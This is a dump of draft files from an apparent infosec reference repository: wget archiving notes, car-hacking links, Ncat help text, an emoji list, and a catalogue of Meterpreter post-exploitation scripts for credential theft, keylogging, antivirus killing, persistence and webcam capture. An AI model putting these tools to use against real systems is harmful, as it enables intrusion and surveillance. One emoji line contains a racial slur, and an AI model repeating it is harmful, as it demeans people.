14 | 	* `–user-agent=””` - Sometimes websites use robots.txt to block certain agents like web crawlers (e.g. GoogleBot) and Wget. This tells Wget to send a blank user-agent, preventing identification. You could alternatively use a web browser’s user-agent and make it look like a web browser, but it probably doesn’t matter.
15 | 	* `-e robots=off` - Sometimes you’ll run into a site with a robots.txt that blocks everything. In these cases, this setting will tell Wget to ignore it. Like the user-agent, I usually leave this on for the sake of convenience.
16 | 	* `–wait 1` - Tells Wget to wait 1 second between each action. This will make it a bit less taxing on the servers.
17 | 	* `-P .` - set the download directory to something. I left it at the default “.” (which means “here”) but this is where you could pass in a directory path to tell wget to save the archived site. Handy, if you’re doing this on a regular basis (say, as a cron job or something…)
18 | 	* `http://url-to-site` - this is the full URL of the site to download. You’ll likely want to change this.
19 | * **Sources**
20 | 	- [Archiving a (WordPress) website with wget | D’Arcy Norman dot net](http://darcynorman.net/2011/12/24/archiving-a-wordpress-website-with-wget/)
21 | 	- [Archiving a Website With Wget](http://www.dheinemann.com/2011/archiving-with-wget/)
22 | 
23 | ```
24 | 


--------------------------------------------------------------------------------
/Draft/Cars.md:
--------------------------------------------------------------------------------
 1 | # Car Hacking
 2 | 
 3 | ## Table of Contents
 4 | - [General](#general)
 5 | 
 6 | ------------------
 7 | ### <a name="general"></a> General
 8 | * **Seriously check this first --->** [Awesome Vehicle Security List(github awesome lists)](https://github.com/jaredthecoder/awesome-vehicle-security)
 9 | * **101**
10 | 	* [Introduction to Hacking in Car Systems - Craig Smith - Troopers15](https://www.youtube.com/watch?v=WHDkf6kpE58)
11 | 	* [Intro to Automotive Security - Ariel Zentner](https://www.youtube.com/watch?v=yAzqFhq06_E)
12 | * **Blogposts/How-To's/Writeups**
13 | 	* [Broadcasting Your Attack: Security Testing DAB Radio In Cars](https://www.youtube.com/watch?v=ryNtz1nxmO4)
14 | 	* [Tesla Model S JSON API (unofficial RE post)](http://docs.timdorr.apiary.io/#reference/vehicles)
15 | 	* [Tesla Model S JSON API (unofficial RE post)](http://docs.timdorr.apiary.io/#reference/vehicles)
16 | 	* [Cyber-attacks on vehicles P-I!](http://dn5.ljuska.org/napadi-na-auto-sistem-1.html)
17 | 	* [Cyber-attacks on vehicles P-II!](http://dn5.ljuska.org/cyber-attacks-on-vehicles-2.html)
18 | 	* [An Introduction to the CAN Bus: How to Programmatically Control a Car: Hacking the Voyage Ford Fusion to Change A/C Temperature](https://news.voyage.auto/an-introduction-to-the-can-bus-how-to-programmatically-control-a-car-f1b18be4f377)
19 | 	* [CC1101-FSK](https://github.com/trishmapow/CC1101-FSK)
20 | 		* Jam and replay attack on vehicle keyless entry systems.
21 | 	* [rf-jam-replay](https://github.com/trishmapow/rf-jam-replay)
22 | 		* Jam and Replay Attack on Vehicular Keyless Entry Systems
23 | * **DMV**
24 | 	* [Report of Traffic Collision Involving an Autonomous Vehicle (OL 316) - dmv.ca.gov](https://www.dmv.ca.gov/portal/dmv/detail/vr/autonomous/autonomousveh_ol316+)
25 | * **Papers**
26 | 	* [Remote Exploitation of an  Unaltered Passenger Vehicle](http://illmatics.com/Remote%20Car%20Hacking.pdf)
27 | * **Talks & Presentations**
28 | 	* [Hacking Cars with Python -Eric Evenchick PyCon 2017](https://www.youtube.com/watch?v=3bZNhMcv4Y8&app=desktop)
29 | 		* Modern cars are networks of computers, and a high end vehicle could have nearly 100 different computers inside. These devices control everything from the engine to the airbags. By understanding how these systems work, we can interface with vehicles to read data, perform diagnostics, and even modify operation.  In this talk, we'll discuss pyvit, the Python Vehicle Interface Toolkit. This library, combined with some open source hardware, allows developers to talk to automotive controllers from Python.  We will begin with an introduction to automotive networks, to provide a basis for understanding the tools. Next, we will look at the tools and show the basics of using them. Finally, we'll discuss real world applications of these tools, and how they're being used in the automotive world today.
30 | 	* [Adventures in Automotive Networks and Control Units](https://www.youtube.com/watch?v=MEYCU62yeYk&app=desktop)
31 | 		* Charlie Miller & Chris Valasek
32 | 	* [Broadcasting your attack: Security testing DAB radio in cars - Andy Davis](http://2015.ruxcon.org.au/assets/2015/slides/Broadcasting-your-attack-Security-testing-DAB-radio-in-cars.pdf)
33 | 	* [A Survey of Remote Automotive Attack Surfaces  - Black Hat USA 2014](https://www.youtube.com/watch?v=mNhFGJVq2HE)
34 | 	* [Broadcasting your attack: Security testing DAB radio in cars - Andy Davis](http://2015.ruxcon.org.au/assets/2015/slides/Broadcasting-your-attack-Security-testing-DAB-radio-in-cars.pdf)
35 | 	* [A Vulnerability in Modern Automotive Standards and How We Exploited It](https://documents.trendmicro.com/assets/A-Vulnerability-in-Modern-Automotive-Standards-and-How-We-Exploited-It.pdf)
36 | 	* [Car hacking: getting from A to B with Eve (SHA2017)](https://www.youtube.com/watch?v=l9760bzUN3E)
37 | 		* Car security is, not surprisingly, a hot topic; after all they are fast and heavy computer controlled machinery that nowadays come with all kinds of internet connectivity. So we decided to have a look at it. In our presentation, we’ll first cover some theory behind the IT-part of car architecture. We’ll discuss attack vectors and their likelihood of success, and then discuss the various vulnerabilities we found. Finally, we will combine these vulnerabilities into a remote attack. Depending on the disclosure process with the vendor, which is pending, we might be able to demonstrate the attack.
38 | * **Tools**
39 | 	* **Hardware**
40 | 		* [CBM - The Bicho](https://github.com/UnaPibaGeek/CBM)
41 | 			* For the first time, a hardware backdoor tool is presented having several advanced features, such as: remote control via SMS commands, automated launch of attack payloads at a GPS location or when a specific car status is reached; and a configuration interface that allows users to create attack payloads in an easy manner. Have you ever imagined the possibility of your car being automatically attacked based on its GPS coordinates, its current speed or any other set of parameters? Now it's possible :-)
42 | 		* [The OpenXC Platform](http://openxcplatform.com/)
43 | 			* OpenXC™ is a combination of open source hardware and software that lets you extend your vehicle with custom applications and pluggable modules.
44 | 	* **Software**
45 | 		* [CANBus Triple](https://canb.us/)
46 | 			* General purpose Controller Area Network swiss army knife / development platform.
47 | 		* [Yet Another Car Hacking Tool](https://asintsov.blogspot.ro/2016/03/yet-another-car-hacking-tool.html?m=1)
48 | 		* [CANToolz](https://github.com/eik00d/CANToolz)
49 | 			* CANToolz is a framework for analysing CAN networks and devices. This tool based on different modules which can be assembled in pipe together and can be used by security researchers and automotive/OEM security testers for black-box analysis and etc. You can use this software for ECU discovery, MITM testing, fuzzing, bruteforcing, scanning or R&D testing and validation
50 | 		* [canspy](https://github.com/manux81/canspy)
51 | 			* Very simple tool for users who need to interface with a device based on CAN (CAN/CANopen/J1939/NMEA2000/DeviceNet) such as motors, sensors and many other devices.
52 | 		* [CBM - The Bicho](https://github.com/UnaPibaGeek/CBM)
53 | 			* For the first time, a hardware backdoor tool is presented having several advanced features, such as: remote control via SMS commands, automated launch of attack payloads at a GPS location or when a specific car status is reached; and a configuration interface that allows users to create attack payloads in an easy manner. Have you ever imagined the possibility of your car being automatically attacked based on its GPS coordinates, its current speed or any other set of parameters? Now it's possible :-)
54 | * **QNX**
55 | 	* [QNX Security Tools - Alex Plaskett & Georgi Geshev](https://github.com/alexplaskett/QNXSecurity)
56 | 		* Random scripts produced as part of the research into QNX security. For more information please see the following publications:
57 | 			* [QNX: 99 Problems but a Microkernel ain’t one!](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-qnx-troopers-99-problems-but-a-microkernel-aint-one.pdf)
58 | 			* [QNX Security Architecture - Alex Plaskett](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-qnx-security-whitepaper-2016-03-14.pdf)
59 | 
60 | 
61 | 
62 | #### Sort
63 | * [Jailbreaking Subaru StarLink](https://github.com/sgayou/subaru-starlink-research/blob/master/doc/README.md)
64 | 
65 | * [Vehicle Telematics Security; getting it right - Andrew Tierney](https://www.pentestpartners.com/security-blog/vehicle-telematics-security-getting-it-right/)
66 | * [Hacking All the Cars - Part 2 - ConsoleCowboys](https://console-cowboys.blogspot.com/2019/04/hacking-all-cars-part-2.html)
67 | * [Want to become an autonomous vehicle engineer? - Kyle Martin](https://becomeautonomous.com/)
68 | * [FREE-FALL: TESLA HACKING 2016: Hacking Tesla from Wireless to CAN Bus - Keenlab](https://www.blackhat.com/docs/us-17/thursday/us-17-Nie-Free-Fall-Hacking-Tesla-From-Wireless-To-CAN-Bus.pdf)
69 | * [Getting your head under the hood and out of the sand: Automotive security testing - Andrew Tierney](https://www.pentestpartners.com/security-blog/getting-your-head-under-the-hood-and-out-of-the-sand-automotive-security-testing/)
70 | * [Lojack’d: Pwning Smart vehicle trackers - Vangelis Stykas](https://www.pentestpartners.com/security-blog/lojackd-pwning-smart-vehicle-trackers/)


--------------------------------------------------------------------------------
/Draft/Cheat sheets reference pages Checklists -/Linux/Post Exploitation on Linux.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rmusser01/Infosec_Reference/4bdf90b0b98b7641140f9bf3950addc42d1861db/Draft/Cheat sheets reference pages Checklists -/Linux/Post Exploitation on Linux.txt


--------------------------------------------------------------------------------
/Draft/Cheat sheets reference pages Checklists -/Linux/QuickRef-Enum.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rmusser01/Infosec_Reference/4bdf90b0b98b7641140f9bf3950addc42d1861db/Draft/Cheat sheets reference pages Checklists -/Linux/QuickRef-Enum.txt


--------------------------------------------------------------------------------
/Draft/Cheat sheets reference pages Checklists -/Meterpreter Scripts and Description.txt:
--------------------------------------------------------------------------------
 1 | 
 2 | Script Commands with Brief Descriptions
 3 | 
 4 | arp_scanner.rb - Script for performing an ARP's Scan Discovery.
 5 | autoroute.rb - Meterpreter session without having to background the current session.
 6 | checkvm.rb - Script for detecting if target host is a virtual machine.
 7 | credcollect.rb - Script to harvest credentials found on the host and store them in the database.
 8 | domain_list_gen.rb - Script for extracting domain admin account list for use.
 9 | dumplinks.rb - Dumplinks parses .lnk files from a user's recent documents folder and Microsoft Office's Recent documents folder, if present. The .lnk files contain time stamps, file locations, including share names, volume serial #s and more. This info may help you target additional systems.
10 | duplicate.rb - Uses a meterpreter session to spawn a new meterpreter session in a different process. A new process allows the session to take "risky" actions that might get the process killed by A/V, giving a meterpreter session to another controller, or start a keylogger on another process.
11 | enum_chrome.rb - Script to extract data from a chrome installation.
12 | enum_firefox.rb - Script for extracting data from Firefox. enum_logged_on_users.rb - Script for enumerating current logged users and users that have logged in to the system. enum_powershell_env.rb - Enumerates PowerShell and WSH configurations.
13 | enum_putty.rb - Enumerates Putty connections.
14 | enum_shares.rb - Script for Enumerating shares offered and history of mounted shares.
15 | enum_vmware.rb - Enumerates VMware configurations for VMware products.
16 | event_manager.rb - Show information about Event Logs on the target system and their configuration.
17 | file_collector.rb - Script for searching and downloading files that match a specific pattern.
18 | get_application_list.rb - Script for extracting a list of installed applications and their version.
19 | getcountermeasure.rb - Script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration. Provides also the option to kill the processes of detected products and disable the built-in firewall.
20 | get_env.rb - Script for extracting a list of all System and User environment variables.
21 | getfilezillacreds.rb - Script for extracting servers and credentials from Filezilla.
22 | getgui.rb - Script to enable Windows RDP.
23 | get_local_subnets.rb - Get a list of local subnets based on the host's routes.
24 | get_pidgen_creds.rb - Script for extracting configured services with username and passwords.
25 | gettelnet.rb - Checks to see whether telnet is installed.
26 | get_valid_community.rb - Gets a valid community string from SNMP.
27 | getvncpw.rb - Gets the VNC password.
28 | hashdump.rb - Grabs password hashes from the SAM.
29 | hostedit.rb - Script for adding entries in to the Windows Hosts file.
30 | keylogrecorder.rb - Script for running keylogger and saving all the keystrokes.
31 | killav.rb - Terminates nearly every antivirus software on victim.
32 | metsvc.rb - Delete one meterpreter service and start another.
33 | migrate - Moves the meterpreter service to another process.
34 | multicommand.rb - Script for running multiple commands on Windows 2003, Windows Vistaand Windows XP and Windows 2008 targets.
35 | multi_console_command.rb - Script for running multiple console commands on a meterpreter session.
36 | multi_meter_inject.rb - Script for injecting a reverce tcp Meterpreter Payload into memory of multiple PIDs, if none is provided a notepad process will be created and a Meterpreter Payload will be injected in to each.
37 | multiscript.rb - Script for running multiple scripts on a Meterpreter session.
38 | netenum.rb - Script for ping sweeps on Windows 2003, Windows Vista, Windows 2008 and Windows XP targets using native Windows commands.
39 | packetrecorder.rb - Script for capturing packets in to a PCAP file.
40 | panda2007pavsrv51.rb - This module exploits a privilege escalation vulnerability in Panda Antivirus 2007. Due to insecure permission issues, a local attacker can gain elevated privileges.
41 | persistence.rb - Script for creating a persistent backdoor on a target host.
42 | pml_driver_config.rb - Exploits a privilege escalation vulnerability in Hewlett-Packard's PML Driver HPZ12. Due to an insecure SERVICE_CHANGE_CONFIG DACL permission, a local attacker can gain elevated privileges.
43 | powerdump.rb - Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry keys. This script requires you to be running as system in order to work properly. This has currently been ested on Server 2008 and Windows 7, which installs PowerShell by default.
44 | prefetchtool.rb - Script for extracting information from windows prefetch folder.
45 | process_memdump.rb - Script is based on the paper Neurosurgery With Meterpreter.
46 | remotewinenum.rb - This script will enumerate windows hosts in the target environment given a username and password or using the credential under which Meterpeter is running using WMI wmic windows native tool.
47 | scheduleme.rb - Script for automating the most common scheduling tasks during a pentest. This script works with Windows XP, Windows 2003, Windows Vista and Windows 2008.
48 | schelevator.rb - Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation. This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.
49 | schtasksabuse.rb - Meterpreter script for abusing the scheduler service in Windows by scheduling and running a list of command against one or more targets. Using schtasks command to run them as system. This script works with Windows XP, Windows 2003, Windows Vista and Windows 2008.
50 | scraper.rb - The goal of this script is to obtain system information from a victim through an existing Meterpreter session.
51 | screenspy.rb - This script will open an interactive view of remote hosts. You will need Firefox installed on your machine.
52 | screen_unlock.rb - Script to unlock a windows screen. Needs system privileges to run and known signatures for the target system.
53 | screen_dwld.rb - Script that recursively search and download files matching a given pattern.
54 | service_manager.rb - Script for managing Windows services.
55 | service_permissions_escalate.rb This script attempts to create a service, then searches through a list of existing services to look for insecure file or configuration permissions that will let it replace the executable with a payload. It will then attempt to restart the replaced service to run the payload. If that fails, the next time the service is started (such as on reboot) the attacker will gain elevated privileges.
56 | sound_recorder.rb - Script for recording in intervals the sound capture by a target host microphone.
57 | srt_webdrive_priv.rb - Exploits a privilege escalation vulnerability in South River Technologies WebDrive.
58 | uploadexec.rb - Script to upload executable file to host.
59 | virtualbox_sysenter_dos - Script to DoS Virtual Box.
60 | virusscan_bypass.rb - Script that kills Mcafee VirusScan Enterprise v8.7.0i+ processes.
61 | vnc.rb - Meterpreter script for obtaining a quick VNC session.
62 | webcam.rb - Script to enable and capture images from the host webcam.
63 | win32-sshclient.rb - Script to deploy & run the "plink" commandline ssh-client. Supports only MS-Windows-2k/XP/Vista Hosts.
64 | win32-sshserver.rb - Script to deploy and run OpenSSH on the target machine.
65 | winbf.rb - Function for checking the password policy of current system. This policy may resemble the policy of other servers in the target environment.
66 | winenum.rb - Enumerates Windows system including environment variables, network interfaces, routing, user accounts, etc
67 | wmic.rb - Script for running WMIC commands on Windows 2003, Windows Vista and Windows XP and Windows 2008 targets.
68 | 


--------------------------------------------------------------------------------
/Draft/Cheat sheets reference pages Checklists -/Ncat_Cheat_Sheet.txt:
--------------------------------------------------------------------------------
 1 | Ncat
 2 | 
 3 | Ncat is a piece of software created by the same person who made Nmap, Fyodor, as an upgrade to netcat.
 4 | 
 5 | http://alexcreek.com/ncat-cheatsheet.html
 6 | 
 7 | https://bitrot.sh/cheatsheet/19-12-2017-ncat/
 8 | 
 9 | 
10 | 
11 | 
12 | 
13 | 
14 | 
15 | Ncat command output:(from: http://nmap.org/book/ncat-man-options-summary.html) 
16 | Ncat 6.46 ( http://nmap.org/ncat )
17 | Usage: ncat [options] [hostname] [port]
18 | 
19 | Options taking a time assume seconds. Append 'ms' for milliseconds,
20 | 's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
21 |   -4                         Use IPv4 only
22 |   -6                         Use IPv6 only
23 |   -U, --unixsock             Use Unix domain sockets only
24 |   -C, --crlf                 Use CRLF for EOL sequence
25 |   -c, --sh-exec <command>    Executes the given command via /bin/sh
26 |   -e, --exec <command>       Executes the given command
27 |       --lua-exec <filename>  Executes the given Lua script
28 |   -g hop1[,hop2,...]         Loose source routing hop points (8 max)
29 |   -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
30 |   -m, --max-conns <n>        Maximum <n> simultaneous connections
31 |   -h, --help                 Display this help screen
32 |   -d, --delay <time>         Wait between read/writes
33 |   -o, --output <filename>    Dump session data to a file
34 |   -x, --hex-dump <filename>  Dump session data as hex to a file
35 |   -i, --idle-timeout <time>  Idle read/write timeout
36 |   -p, --source-port port     Specify source port to use
37 |   -s, --source addr          Specify source address to use (doesn't affect -l)
38 |   -l, --listen               Bind and listen for incoming connections
39 |   -k, --keep-open            Accept multiple connections in listen mode
40 |   -n, --nodns                Do not resolve hostnames via DNS
41 |   -t, --telnet               Answer Telnet negotiations
42 |   -u, --udp                  Use UDP instead of default TCP
43 |       --sctp                 Use SCTP instead of default TCP
44 |   -v, --verbose              Set verbosity level (can be used several times)
45 |   -w, --wait <time>          Connect timeout
46 |       --append-output        Append rather than clobber specified output files
47 |       --send-only            Only send data, ignoring received; quit on EOF
48 |       --recv-only            Only receive data, never send anything
49 |       --allow                Allow only given hosts to connect to Ncat
50 |       --allowfile            A file of hosts allowed to connect to Ncat
51 |       --deny                 Deny given hosts from connecting to Ncat
52 |       --denyfile             A file of hosts denied from connecting to Ncat
53 |       --broker               Enable Ncat's connection brokering mode
54 |       --chat                 Start a simple Ncat chat server
55 |       --proxy <addr[:port]>  Specify address of host to proxy through
56 |       --proxy-type <type>    Specify proxy type ("http" or "socks4" or "socks5")
57 |       --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
58 |       --ssl                  Connect or listen with SSL
59 |       --ssl-cert             Specify SSL certificate file (PEM) for listening
60 |       --ssl-key              Specify SSL private key (PEM) for listening
61 |       --ssl-verify           Verify trust and domain name of certificates
62 |       --ssl-trustfile        PEM file containing trusted SSL certificates
63 |       --version              Display Ncat's version information and exit
64 | 
65 | See the ncat(1) manpage for full options, descriptions and usage examples


--------------------------------------------------------------------------------
/Draft/Cheat sheets reference pages Checklists -/Windows/Post Exploitation on Windows.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rmusser01/Infosec_Reference/4bdf90b0b98b7641140f9bf3950addc42d1861db/Draft/Cheat sheets reference pages Checklists -/Windows/Post Exploitation on Windows.txt


--------------------------------------------------------------------------------
/Draft/Cheat sheets reference pages Checklists -/list_of_emoji.md:
--------------------------------------------------------------------------------
  1 | ## List of random Emoji
  2 | 
  3 | List of random Emoji I found. Check out System Internals 'Emoji' section for more info on emojis.
  4 | 
  5 | * [List of Github Emoji](https://gist.github.com/rxaviers/7360908)
  6 | 
  7 | ```
  8 | Emoji:
  9 | 
 10 | ¢‿¢
 11 | ©¿© o
 12 | ª{•̃̾_•̃̾}ª
 13 | ¬_¬
 14 | ¯＼(º_o)/¯
 15 | ¯\(º o)/¯
 16 | ¯\_(⊙︿⊙)_/¯
 17 | ¯\_(ツ)_/¯
 18 | °ω°
 19 | °Д°
 20 | °‿‿°
 21 | °ﺑ°
 22 | ´ ▽ ` )ﾉ
 23 | ¿ⓧ_ⓧﮌ
 24 | Ò,ó
 25 | ó‿ó
 26 | ô⌐ô
 27 | ôヮô
 28 | ŎםŎ
 29 | ŏﺡó
 30 | ʕ•̫͡•ʔ
 31 | ʕ•ᴥ•ʔ
 32 | ʘ‿ʘ
 33 | ˚•_•˚
 34 | ˚⌇˚
 35 | ˚▱˚
 36 | ̿ ̿̿'̿'\̵͇̿̿\=(•̪●)=/̵͇̿̿/'̿̿ ̿ ̿ ̿
 37 | ͡° ͜ʖ ͡°
 38 | Σ ◕ ◡ ◕
 39 | Σ (ﾟДﾟ;）                          surprised
 40 | Σ(ﾟДﾟ；≡；ﾟдﾟ)                      confusion
 41 | Σ(ﾟДﾟ )
 42 | Σ(||ﾟДﾟ)                           scary
 43 | Φ,Φ
 44 | δﺡό
 45 | σ_σ
 46 | д_д
 47 | ф_ф
 48 | щ（ﾟДﾟщ） < "Dear god why‽ )
 49 | щ(ಠ益ಠщ)
 50 | щ(ಥДಥщ)
 51 | Ծ_Ծ
 52 | أ‿أ
 53 | ب_ب
 54 | ح˚௰˚づ
 55 | ح˚ᆺ˚ว
 56 | حᇂﮌᇂ)
 57 | ٩๏̯͡๏۶
 58 | ٩๏̯͡๏)۶
 59 | ٩◔̯◔۶
 60 | ٩(×̯×)۶
 61 | ٩(̾●̮̮̃̾•̃̾)۶
 62 | ٩(͡๏̯͡๏)۶
 63 | ٩(͡๏̯ ͡๏)۶
 64 | ٩(ಥ_ಥ)۶
 65 | ٩(•̮̮̃•̃)۶
 66 | ٩(●̮̮̃•̃)۶
 67 | ٩(●̮̮̃●̃)۶
 68 | ٩(｡͡•‿•｡)۶
 69 | ٩(-̮̮̃•̃)۶
 70 | ٩(-̮̮̃-̃)۶
 71 | ۞_۞
 72 | ۞_۟۞
 73 | ۹ↁﮌↁ
 74 | ۹⌤_⌤۹
 75 | ॓_॔
 76 | १✌◡✌५
 77 | १|˚–˚|५
 78 | ਉ_ਉ
 79 | ଘ_ଘ
 80 | இ_இ
 81 | ఠ_ఠ
 82 | రృర
 83 | ಠ¿ಠi
 84 | ಠ‿ಠ
 85 | ಠ⌣ಠ
 86 | ಠ╭╮ಠ
 87 | ಠ▃ಠ
 88 | ಠ◡ಠ
 89 | ಠ益ಠ
 90 | ಠ益ಠ
 91 | ಠ︵ಠ凸
 92 | ಠ , ಥ
 93 | ಠ.ಠ
 94 | ಠoಠ
 95 | ಠ_ృ
 96 | ಠ_ಠ
 97 | ಠ_๏
 98 | ಠ~ಠ
 99 | ಡ_ಡ
100 | ತಎತ
101 | ತ_ತ
102 | ಥдಥ
103 | ಥ‿ಥ
104 | ಥ⌣ಥ
105 | ಥ◡ಥ
106 | ಥ﹏ಥ
107 | ಥ_ಥ <So... Beautiful!
108 | ಭ_ಭ
109 | ರ_ರ
110 | ಸ , ໖
111 | ಸ_ಸ
112 | ക_ക
113 | อ้_อ้
114 | อ_อ
115 | โ๏௰๏ใ ื
116 | ๏̯͡๏﴿
117 | ๏̯͡๏
118 | ๏̯͡๏﴿
119 | ๏[-ิิ_•ิ]๏
120 | ๏_๏
121 | ໖_໖
122 | ༺‿༻
123 | ლ(´ڡ`ლ)
124 | ლ(́◉◞౪◟◉‵ლ)
125 | ლ(ಠ益ಠლ)  y u no guy
126 | ლ(╹◡╹ლ)
127 | ლ(◉◞౪◟◉‵ლ)
128 | ლ,ᔑ•ﺪ͟͠•ᔐ.ლ
129 | ᄽὁȍ ̪ őὀᄿ
130 | ᕕ( ᐛ )ᕗ
131 | ᕙ(⇀‸↼‶)ᕗ
132 | ᕦ(ò_óˇ)ᕤ
133 | ᶘ ᵒᴥᵒᶅ    ← baby seal
134 | ‘︿’
135 | •▱•
136 | •✞_✞•
137 | •ﺑ•
138 | •(⌚_⌚)•
139 | •_•)
140 | ‷̗ↂ凸ↂ‴̖
141 | ‹•.•›
142 | ‹› ‹(•¿•)› ‹›
143 | ‹(ᵒᴥᵒ­­­­­)›
144 | ‹(•¿•)›
145 | ↁ_ↁ
146 | ⇎_⇎
147 | ∩(︶▽︶)∩
148 | ∩( ・ω・)∩                        happy dog
149 | ≖‿≖
150 | ≧ヮ≦
151 | ⊂•⊃_⊂•⊃
152 | ⊂⌒~⊃｡Д｡)⊃
153 | ⊂(◉‿◉)つ
154 | ⊂(ﾟДﾟ,,⊂⌒｀つ
155 | ⊙ω⊙
156 | ⊙▂⊙
157 | ⊙▃⊙
158 | ⊙△⊙
159 | ⊙︿⊙
160 | ⊙﹏⊙
161 | ⊙０⊙
162 | ⊛ठ̯⊛
163 | ⋋ō_ō`
164 | ━━━ヽ(ヽ(ﾟヽ(ﾟ∀ヽ(ﾟ∀ﾟヽ(ﾟ∀ﾟ)ﾉﾟ∀ﾟ)ﾉ∀ﾟ)ﾉﾟ)ﾉ)ﾉ━━━
165 | ┌∩┐(◕_◕)┌∩┐
166 | ┌( ಠ_ಠ)┘
167 | ┌( ಥ_ಥ)┘
168 | ╚(•⌂•)╝
169 | ╭╮╭╮☜{•̃̾_•̃̾}☞╭╮╭╮
170 | ╭✬⌢✬╮
171 | ╮(─▽─)╭
172 | ╯‵Д′)╯彡┻━┻   angry guy flipping a table
173 | ╰☆╮
174 | □_□
175 | ►_◄
176 | ◃┆◉◡◉┆▷
177 | ◉△◉
178 | ◉︵◉
179 | ◉_◉
180 | ○_○
181 | ●¿●\ ~
182 | ●_●
183 | ◔̯◔
184 | ◔ᴗ◔
185 | ◔ ⌣ ◔
186 | ◔_◔
187 | ◕ω◕
188 | ◕‿◕
189 | ◕◡◕
190 | ◕ ◡ ◕
191 | ◖♪_♪|◗
192 | ◖|◔◡◉|◗ <Huuuuur
193 | ◘_◘
194 | ◙‿◙
195 | ◜㍕◝
196 | ◪_◪
197 | ◮_◮
198 | ☁ ☝ˆ~ˆ☂
199 | ☆¸☆
200 | ☉‿⊙
201 | ☉_☉
202 | ☐_☐
203 | ☜ق❂Ⴢ❂ق☞
204 | ☜(⌒▽⌒)☞
205 | ☜(ﾟヮﾟ☜)
206 | ☜-(ΘLΘ)-☞
207 | ☝☞✌
208 | ☮▁▂▃▄☾ ♛ ◡ ♛ ☽▄▃▂▁☮
209 | ☹_☹
210 | ☻_☻
211 | ☼.☼
212 | ☾˙❀‿❀˙☽
213 | ♀ح♀ヾ
214 | ♥‿♥
215 | ♥╣[-_-]╠♥
216 | ♥╭╮♥
217 | ♥◡♥
218 | ✌♫♪˙❤‿❤˙♫♪✌
219 | ✌.ʕʘ‿ʘʔ.✌
220 | ✌.|•͡˘‿•͡˘|.✌
221 | ✖‿✖
222 | ✖_✖
223 | ❐‿❑
224 | ⨀_⨀
225 | ⨀_Ꙩ
226 | ⨂_⨂
227 | 〆(・∀・＠)
228 | 《〠_〠》
229 | 【•】_【•】
230 | 〠_〠
231 | 〴⋋_⋌〵
232 | の� �の
233 | ニガー? ━━━━━━(ﾟ∀ﾟ)━━━━━━ ニガー?
234 | ペ㍕˚\
235 | ヽ(´ｰ｀ )ﾉ
236 | ヽ(๏∀๏ )ﾉ
237 | ヽ(｀Д´)ﾉ
238 | ヽ(ｏ`皿′ｏ)ﾉ
239 | ヽ(`Д´)ﾉ
240 | ㅎ_ㅎ
241 | 乂◜◬◝乂
242 | 凸ಠ益ಠ)凸
243 | 句_句
244 | Ꙩ⌵Ꙩ
245 | Ꙩ_Ꙩ
246 | ꙩ_ꙩ
247 | Ꙫ_Ꙫ
248 | ꙫ_ꙫ
249 | ꙮ_ꙮ
250 | 흫_흫
251 | 句_句
252 | ﴾͡๏̯͡๏﴿ O'RLY?
253 | ¯\(ºдಠ)/¯
254 | （·×·）
255 | （⌒Д⌒）
256 | （╹ェ╹）
257 | （♯・∀・）⊃
258 | （　´∀｀）☆
259 | （　´∀｀）
260 | （゜Д゜）
261 | （・∀・）                        "well" or "good"
262 | （・Ａ・）                        "bad" or "not good"
263 | （ﾟ∀ﾟ）
264 | （￣へ￣）
265 | （ ´☣///_ゝ///☣｀）
266 | （ つ Д ｀）
267 | ＿☆（ ´_⊃｀）☆＿
268 | ｡◕‿‿◕｡
269 | ｡◕ ‿ ◕｡
270 | !⑈ˆ~ˆ!⑈
271 | !(｀･ω･｡)
272 | (¬‿¬)
273 | (¬▂¬)
274 | (¬_¬)
275 | (°ℇ °)
276 | (°∀°)
277 | (´ω｀)
278 | (´◉◞౪◟◉)
279 | (´ヘ｀;)
280 | (´・ω・｀)
281 | (´ー｀)
282 | (ʘ‿ʘ)
283 | (ʘ_ʘ)
284 | (˚இ˚)
285 | (͡๏̯͡๏)
286 | (ΘεΘ;)
287 | (ι´Д｀)ﾉ
288 | (Ծ‸ Ծ)
289 | (॓_॔)
290 | (० ्०)
291 | (ு८ு_ .:)
292 | (ಠ‾ಠ)
293 | (ಠ‿ʘ)
294 | (ಠ‿ಠ)
295 | (ಠ⌣ಠ)
296 | (ಠ益ಠ ╬)
297 | (ಠ益ಠ)
298 | (ಠ_ృ)
299 | (ಠ_ಠ)
300 | (ಥ﹏ಥ)
301 | (ಥ_ಥ)
302 | (๏̯͡๏ )
303 | (ღ˘⌣˘ღ) ♫･*:.｡. .｡.:*･         happy with music
304 | (ღ˘⌣˘ღ) - no thx
305 | (ᵔᴥᵔ)
306 | (•ω•)
307 | (•‿•)
308 | (•⊙ω⊙•)
309 | (• ε •)
310 | (∩▂∩)
311 | (∩︵∩)
312 | (∪ ◡ ∪)
313 | (≧ω≦)
314 | (≧◡≦)
315 | (≧ロ≦)
316 | (⊙ヮ⊙)
317 | (⊙_◎)
318 | (⋋▂⋌)
319 | (⌐■_■)
320 | (─‿‿─)
321 | (┛◉Д◉)┛┻━┻
322 | (╥_╥)
323 | (╬ಠ益ಠ)
324 | (╬◣д◢)
325 | (╬ ಠ益ಠ)
326 | (╯°□°）╯︵ ┻━┻   table flip
327 | (╯ಊ╰)
328 | (╯◕_◕)╯
329 | (╯︵╰,)
330 | (╯3╰)
331 | (╯_╰)
332 | (╹◡╹)凸
333 | (▰˘◡˘▰)
334 | (●´ω｀●)
335 | (●´∀｀●)                       relieved happy
336 | (◑‿◐)
337 | (◑◡◑)
338 | (◕‿◕✿)                        cute happy
339 | (◕‿◕)
340 | (◕‿-)
341 | (◕︵◕)
342 | (◕ ^ ◕)
343 | (◕_◕)
344 | (◜௰◝)
345 | (◡‿◡✿)
346 | (◣_◢)
347 | (☞ﾟ∀ﾟ)☞
348 | (☞ﾟヮﾟ)☞
349 | (☞ﾟ ∀ﾟ )☞
350 | (☼◡☼)
351 | (☼_☼)
